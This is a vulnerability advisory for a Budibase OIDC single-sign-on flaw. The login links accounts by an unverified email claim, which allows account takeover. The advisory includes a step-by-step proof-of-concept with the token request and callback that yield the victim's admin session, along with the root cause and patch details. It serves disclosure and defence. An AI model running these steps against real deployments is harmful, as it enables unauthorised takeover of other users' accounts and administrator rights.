Budibase OIDC SSO Account Takeover via Unverified Email Claim
Budibase's OIDC login links an incoming SSO identity to an existing account by email address alone, without checking the email_verified claim, letting an attacker on a trusted IdP hijack any Budibase…

The problem
When Budibase's OIDC callback cannot match an incoming token by the IdP sub, it silently falls back to getGlobalUserByEmail() and merges the session into whichever local account shares that email. The email_verified claim is never read anywhere in the codebase (grep -r email_verified packages/ returns 0 hits).
The merged session preserves the victim's _id, tenantId, and all roles. An attacker who can make a trusted IdP emit email = <victim> with email_verified = false inherits the victim's full session, including global-admin and builder rights. Keycloak and Authentik ship with "Verify Email" off by default, making this precondition easy to meet on a stock deployment.
Proof of concept
A working proof-of-concept for this issue in @budibase/server, with the exact payload below.
# Step 1: Obtain an OIDC token from the trusted IdP as the attacker,
# with the victim's email set (unverified). Keycloak example:
POST /realms/budi/protocol/openid-connect/token
Content-Type: application/x-www-form-urlencoded
grant_type=password
&client_id=budibase
&client_secret=<client_secret>
&username=attacker
&password=Attacker123!
&scope=openid email profile
# The returned id_token decodes to:
# {
# "sub": "3cf58c45-...",
# "preferred_username": "attacker",
# "email": "victim@stand.local",
# "email_verified": false
# }
# Step 2: Drive the standard OIDC authorization-code flow as that attacker
# account. The final redirect hits Budibase's callback:
GET /api/global/auth/oidc/callback?code=<auth_code>&state=<state>
# Step 3: Budibase issues a session JWT for the victim's account:
# budibase:auth => { "userId": "us_1ab2dfcf...", "email": "victim@stand.local", "tenantId": "default" }
# GET /api/global/self returns: _id=us_1ab2dfcf..., admin.global=true, builder.global=trueThe root cause is a missing email_verified guard in two places. In oidc.ts, getEmail() and buildJwtClaims() extract the email claim from profile._json.email or jwtClaims.email without checking the verification flag. In sso.ts, the getGlobalUserByEmail() fallback (lines 57-59) then uses that unverified email as an authoritative account-linking key.
The syncUser() call spreads ...user over the victim's existing record, so the victim's _id is used in the subsequent UserDB.save() call. Because dbUser.email === email the email-change guard doesn't fire, and the EmailUnavailableError check is skipped entirely (it only runs in the !dbUser branch).
The session JWT is therefore issued for the victim's identity. The fix requires threading email_verified through buildJwtClaims/getEmail in oidc.ts and gating the getGlobalUserByEmail fallback in sso.ts on email_verified === true; if the flag is absent or false the login must be rejected.
CWE-287 (Improper Authentication).
The fix
Upgrade to Budibase 3.39.30 or later (patch commit 9ecd0048d9c3ae0ee9bd0e6204c621794dd1a4d3). The fix gates the email-based account-linking fallback on email_verified === true. Operators who cannot patch immediately should enable "Verify Email" on their IdP (Keycloak: Realm Settings > Login > Verify Email = on) and audit privileged accounts for unexpected OIDC provider links.
Related research
- high · 8.8Budibase: App-Scoped Builder Privilege Escalation via Public Role Assignment API
- highBudibase Email Change IDOR Allows Full Account Takeover via POST /api/v2/email
- high · 7.1Budibase MongoDB Integration NoSQL Operator Injection
- high · 8.5Budibase REST Datasource SSRF via DNS Rebinding (undici dispatcher bypasses IP pin)